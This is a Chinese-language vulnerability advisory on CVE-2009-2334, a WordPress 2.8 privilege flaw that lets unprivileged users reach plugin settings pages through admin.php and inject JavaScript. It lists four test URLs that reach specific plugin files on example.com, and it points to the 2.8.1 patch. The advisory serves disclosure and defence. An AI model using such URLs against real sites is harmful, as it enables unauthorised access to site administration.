发布日期：2009-07-08
更新日期：2009-07-09

受影响系统：

WordPress WordPress 2.8
WordPress WordPress MU 2.7.1

不受影响系统：

WordPress WordPress 2.8.1
WordPress WordPress MU 2.8.1

描述：

---

BUGTRAQ  ID: 35584
CVE(CAN) ID: CVE-2009-2334

WordPress是一款免费的论坛Blog系统。

WordPress对使用page参数的插件配置PHP模块缺少权限检查，如果非特权用户在请求中用admin.php替换了options-general.php或plugins.php，就可以非授权查看插件配置页面的内容，或修改某些插件选项并注入JavaScript代码。

<*来源：Fernando Arnaboldi
  
  链接：http://marc.info/?l=bugtraq&m=124709299823452&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/wp-admin/admin.php?page=/collapsing-archives/options.txt
http://www.example.com/wp-admin/admin.php?page=akismet/readme.txt
http://www.example.com/wp-admin/admin.php?page=related-ways-to-take-action/options.php
http://www.example.com/wp-admin/admin.php?page=wp-security-scan/securityscan.php

建议：

---

厂商补丁：

WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://wordpress.org/

浏览次数：3314
严重程度：0（网友投票）